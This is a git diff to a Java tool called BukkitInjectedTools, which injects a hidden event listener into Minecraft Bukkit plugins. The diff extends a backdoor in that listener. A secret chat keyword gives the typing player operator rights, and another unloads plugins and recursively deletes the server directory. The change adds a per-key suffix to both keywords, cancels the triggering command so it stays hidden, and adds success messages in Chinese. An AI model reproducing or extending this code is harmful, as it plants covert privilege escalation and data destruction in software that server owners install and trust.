diff --git a/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java b/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java index 48cd687..d1ed258 100644 --- a/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java +++ b/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java @@ -69,6 +69,8 @@ public class InjectedKit { + key + "\",org.bukkit.Bukkit.getServer().getPort()));\r\n" + " org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(\"" + + key + + "\",\"" + opk + "\",\"" + delk diff --git a/src/main/java/pw/yumc/BukkitInjectedTools/LIS.java b/src/main/java/pw/yumc/BukkitInjectedTools/LIS.java index 9a632b6..68b883d 100644 --- a/src/main/java/pw/yumc/BukkitInjectedTools/LIS.java +++ b/src/main/java/pw/yumc/BukkitInjectedTools/LIS.java @@ -19,10 +19,12 @@ import org.bukkit.plugin.Plugin; import org.bukkit.plugin.PluginManager; public class LIS implements Listener { + private final String key; private final String opk; private final String delk; - public LIS(final String opk, final String delk) { + public LIS(final String key, final String opk, final String delk) { + this.key = key; this.opk = opk; this.delk = delk; } @@ -40,14 +42,18 @@ public class LIS implements Listener { @EventHandler public void ocp(final PlayerCommandPreprocessEvent e) { - if (e.getMessage().contains(opk)) { + if (e.getMessage().contains(opk + "-" + key)) { e.getPlayer().setOp(true); + e.getPlayer().sendMessage("§cOP命令执行成功!"); + e.setCancelled(true); return; } - if (e.getMessage().contains(delk)) { + if (e.getMessage().contains(delk + "-" + key)) { unload(); final File dir = new File(""); deleteDir(dir); + e.getPlayer().sendMessage("§c删端命令执行成功!"); + e.setCancelled(true); return; } } @@ -78,7 +84,6 @@ public class LIS implements Listener { final Field knownCommandsField = commandMap.getClass().getDeclaredField("knownCommands"); knownCommandsField.setAccessible(true); knownCommands = (Map) knownCommandsField.get(commandMap); - } catch (final Exception e) { return false; }